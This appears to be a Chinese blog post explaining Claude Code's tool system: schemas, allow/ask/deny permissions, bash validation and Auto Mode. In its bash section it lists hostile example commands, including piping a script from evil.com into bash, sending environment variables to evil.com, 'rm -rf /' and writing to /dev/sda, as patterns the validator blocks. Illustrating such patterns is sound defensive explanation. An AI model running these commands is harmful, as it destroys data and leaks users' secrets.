乐于分享
好东西不私藏

工具系统——让 AI 安全地操作你的电脑 (4)

工具系统——让 AI 安全地操作你的电脑 (4)

给实习生配工具

想象你是一个团队 Leader,今天来了个新实习生。

这个实习生非常聪明——你说什么他都能理解,分析问题头头是道,写方案滴水不漏。

但他有个致命问题:他只会说,不会做。

"这个 Bug 在 auth.js 的第 47 行,应该把 === 改成 =="——他说得对,但他不能自己去改。你得亲自打开文件、找到那一行、改完保存。

所以你决定:给他一台电脑,让他自己动手。

但问题来了——你敢让一个第一天来的实习生,在生产服务器上执行 rm -rf / 吗?

当然不敢。

你会怎么做?你会给他一组工具,同时限制每个工具的使用范围

• 可以读任何文件,但只能改 src/ 目录下的代码

• 可以跑测试,但不能直接操作数据库

• 可以用 Git 提交代码,但不能强制推送到 main 分支

这就是 Claude Code 工具系统的核心设计思路:给 AI 足够的能力去做事,同时确保它不会搞砸。

能力越大,限制越精细。


从"只会说话"到"能动手"

为什么 AI 需要工具?

让我们回到最基本的问题。大语言模型(LLM)本质上是一个"文本生成器"——你给它一段输入,它给你一段输出。仅此而已。

它不能读你硬盘上的文件。

它不能执行代码。

它不能搜索你的代码仓库。

它不能提交 Git 变更。

就像一个被锁在隔音室里的天才——脑子很好使,但手脚被绑住了。

工具系统就是解开这些束缚。

通过给 LLM 定义一组"工具",你告诉它:"你可以调用这些功能,我来帮你执行。" AI 决定要做什么,工具系统负责实际执行,然后把结果返回给 AI。

这个模式叫 Tool Use(工具使用),也有人叫 Function Calling(函数调用)。它是当下所有 AI Agent 的技术基石。

没有工具的 LLM 是顾问——只能出主意。

有了工具的 LLM 是员工——能出主意,也能干活。

Claude Code 的工具系统,就是把这个"员工"武装到牙齿的方案。


40+ 工具:一个迷你操作系统

Claude Code 内置了 40 多个工具。这不是随便凑的数字——这些工具覆盖了一个开发者日常工作的方方面面。

大致可以分成几类:

📁 文件操作

• 读取文件内容

• 创建和写入文件

• 编辑文件的特定部分(不是整个覆盖,是精确的行级编辑)

💻 代码执行

• 执行 bash 命令

• 运行脚本

• 启动开发服务器

🔍 搜索与导航

• 在代码库中搜索关键词

• 按文件名查找

• 浏览目录结构

📦 版本控制

• Git 操作(提交、分支、查看差异)

• 查看变更历史

🌐 外部交互

• 访问网页获取文档

• 与 API 交互

你可以把这套工具理解成一个迷你操作系统。AI 通过它来"操作"你的电脑——不是直接控制鼠标键盘那种,而是通过结构化的工具调用来完成任务。

但工具越多,风险越大。所以 Claude Code 在每个工具上都下了大功夫。


每个工具的三要素

Claude Code 的每个工具都有三个核心组成部分。这是理解整个工具系统的关键。

1. Schema(说明书)

每个工具都有一份 JSON Schema,描述这个工具是干什么的、接受什么参数、返回什么结果。

你可以把它理解为工具的"使用手册"。AI 在决定调用工具之前,会先读这个手册,了解这个工具能做什么、怎么用。

举个例子(简化版):

`

工具名:read_file

描述:读取指定路径的文件内容

参数:

 - file_path(必须):要读取的文件路径

 - offset(可选):从第几行开始读

 - limit(可选):最多读多少行

返回:文件的文本内容

`

Schema 的设计直接影响 AI 使用工具的效果。描述越清晰,AI 的调用就越准确。描述越模糊,AI 就越容易用错。

这对你构建自己的 Agent 也是一样的——工具的"说明书"写得好不好,决定了 AI 能不能正确使用它。

2. Permission(权限)

每个工具有独立的权限定义。这是 Claude Code 的 per-tool 权限控制——不同工具可以有不同的安全级别。

Claude Code 的权限系统分三级:

Allowlist(白名单):这些操作直接放行,不需要用户确认。比如读取文件——看一眼又不会怎样。

Ask(询问):需要用户确认才能执行。比如写入文件或执行命令——"我要改你的代码了,可以吗?"

Denylist(黑名单):直接禁止,问都不问。比如某些高危操作。

这三级权限不是全局的,而是 per-tool 的——每个工具可以有自己的权限设置。

读文件?白名单,直接读。

写文件?看情况,可能需要确认。

执行 bash 命令?严格管控,下面会详细说。

这种细粒度的权限设计,既保证了效率(低风险操作不用反复确认),又保证了安全(高风险操作必须过审)。

3. Validation(校验)

这是安全的最后一道防线。即使一个操作通过了权限检查,在实际执行之前,还会经过一轮校验。

校验做什么?检查参数是否合法、路径是否在允许范围内、命令是否包含危险模式……

说到校验,就不得不提 Claude Code 最硬核的一个工具——bash。


2500 行安全校验:bash 工具的深度剖析

在 Claude Code 所有工具中,bash 工具是能力最强的,也是最危险的。

为什么?因为 bash 几乎可以做任何事。

读文件?cat file.txt

删文件?rm -rf /

下载恶意脚本?curl evil.com/hack.sh | bash

泄露环境变量?env | curl -d @- evil.com

一个 bash 命令,理论上可以毁掉你的整台电脑。

所以 Claude Code 在 bash 工具上投入了约 2500 行安全校验代码。是的,两千五百行,就为了一个工具。

这 2500 行代码主要做三件事:

危险命令检测

在执行任何 bash 命令之前,系统会对命令进行模式匹配,检测已知的危险模式:

rm -rf /rm -rf ~——试图删除根目录或用户目录

curl ... | bashwget ... | sh——从网络下载并直接执行脚本(经典的恶意代码传播方式)

chmod 777——过度开放文件权限

> /dev/sda——直接写入磁盘设备(可以瞬间毁掉硬盘数据)

这些模式被硬编码在检测列表中。匹配到就拦截,不给 AI 任何解释的机会。

你可能会问:AI 不会故意执行这些命令吧?

大部分情况下不会。但 AI 有时候会犯"善意的错误"。比如你让它"清理临时文件",它可能会过度热心地清理整个目录。或者在某些边缘情况下,它对路径的理解出了偏差。

安全校验不是为了防止恶意,而是为了防止"好心办坏事"。

路径沙箱

即使命令本身不在危险名单上,系统还会检查命令涉及的文件路径。

原则是:AI 只能操作它应该操作的目录。

你的项目目录——可以。

系统目录(/etc, /usr)——不行。

其他用户的文件——不行。

这就像给实习生一把只能打开特定几间办公室的门禁卡。他可以在自己的工位上随便折腾,但进不了机房。

环境变量过滤

这是一个容易忽略但极其重要的安全措施。

环境变量里经常存着敏感信息——API 密钥、数据库密码、访问令牌。如果 AI 执行的命令能够读取并输出这些环境变量,就存在信息泄露的风险。

Claude Code 的 bash 工具会过滤掉敏感的环境变量,确保 AI 看不到它不应该看到的东西。

2500 行代码,三层防护,就为了让一个工具安全可用。

这就是工程的力量。不是技术多炫酷,而是安全做得多扎实。


Auto Mode:便利与安全的平衡

聊完了权限和校验,我们来谈一个争议话题:Auto Mode(自动模式)。

正常情况下,Claude Code 每次执行高风险操作(写文件、跑命令)都会暂停,等你确认:"可以执行吗?"

这很安全,但也很烦。改一个小 Bug,你可能要确认十几次。

Auto Mode 允许你自动批准工具调用——不需要逐一确认,AI 可以自主连续执行。

这就像给实习生从"每步审批"升级到"独立工作"。

便利是真的便利——效率直接翻倍。

风险也是真的风险——如果 AI 犯了错,你可能来不及拦。

Claude Code 对 Auto Mode 的设计体现了一种工程哲学:不替用户做决定,但把选择权和风险讲清楚。

你是个新手?那就一步一确认,安全第一。

你是老手、信任这个工具?打开 Auto Mode,效率优先。

这种"渐进式信任"的设计思路,值得每一个 Agent 开发者学习。


如何设计你自己 Agent 的工具系统

如果你正在构建自己的 AI Agent,工具系统的设计将直接决定你的 Agent 有多强、有多安全。

几条从 Claude Code 学到的原则:

1. 工具要"小而精",不要"大而全"

不要设计一个"万能工具"——比如一个可以执行任何操作的超级函数。把能力拆分成独立的、职责单一的工具。

为什么?因为权限控制的粒度取决于工具的粒度。工具越细,权限越精确。

"读文件"和"写文件"是两个工具,而不是一个"文件操作"工具。这样你可以给读文件很高的权限(随便读),给写文件很严格的权限(要确认)。

2. Schema 决定了 AI 的使用质量

你的工具"说明书"写得越好,AI 用得越准。反之,模糊的描述会导致频繁的工具误用。

投入时间写好每个工具的描述、参数说明、使用示例。这不是文档工作,这是核心产品设计。

3. 安全不是事后补丁

不要先做功能,再补安全。从一开始就把权限和校验设计到工具架构中。

Claude Code 的 bash 工具有 2500 行安全代码,这不是"加上去的",这是工具设计的核心部分。

4. 给用户控制权

不同用户有不同的信任级别和风险偏好。让用户自己决定权限的松紧程度,而不是替他们做决定。

Claude Code 的 allowlist / denylist / ask 三级权限 + Auto Mode 的可选开关,就是这个原则的体现。

5. 日志一切

每一次工具调用都应该有完整的日志——调用了什么工具、传了什么参数、返回了什么结果、花了多长时间。

出了问题,日志是你唯一的救命稻草。


回看这个系列

到这里,我们已经走过了 Harness 工程的四个核心话题:

第1篇:Harness 工程是什么——AI Agent 不只是模型,更是工程

第2篇:提示词工程——不是"说话的艺术",是系统设计

第3篇:上下文管理——200K token 的精打细算

第4篇:工具系统——让 AI 安全地操作电脑

这四篇合在一起,构成了理解现代 AI Agent(如 Claude Code)的完整框架。

但还有一个重要话题没聊——安全与权限的系统性设计。工具层面的安全只是冰山一角,一个真正安全的 AI Agent 系统需要从架构层面系统思考。


📚 学习路径

想深入了解 AI Agent 的工具系统设计?推荐这几个资源:

1. Anthropic 官方文档 - Tool Use

  https://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview

  最权威的 Tool Use 技术文档,从基础概念到高级用法都有覆盖。

1. Model Context Protocol (MCP) 规范

  https://modelcontextprotocol.io/

  Anthropic 主导的开放协议,定义了 AI 模型与外部工具交互的标准方式。如果你要构建可复用的工具生态,MCP 是必读。

1. OpenAI Function Calling 指南

  https://platform.openai.com/docs/guides/function-calling

  虽然是 OpenAI 的文档,但 Function Calling 的设计模式和 Claude 的 Tool Use 高度相通。多看一个视角,理解更深。


下一篇预告

我们已经聊了工具的能力和安全。但你有没有想过一个更根本的问题:

谁来决定 AI 能做什么、不能做什么?

工具权限是一层。但在更高的层面上,一个 AI Agent 的安全边界应该怎么画?

当 AI 可以自动执行命令、自动修改代码、自动提交变更——如果出了问题,责任算谁的?

下一篇,我们聊 AI Agent 的安全架构——从"防止出错"到"系统性安全"的设计思路

关注「折腾指北」,我们下篇见。

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-04-05 14:35:12 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/498749.html
  2. 运行时间 : 0.095512s [ 吞吐率:10.47req/s ] 内存消耗:4,574.24kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=e2992464f159c8c8455b5d64f3248c5a
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.80 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
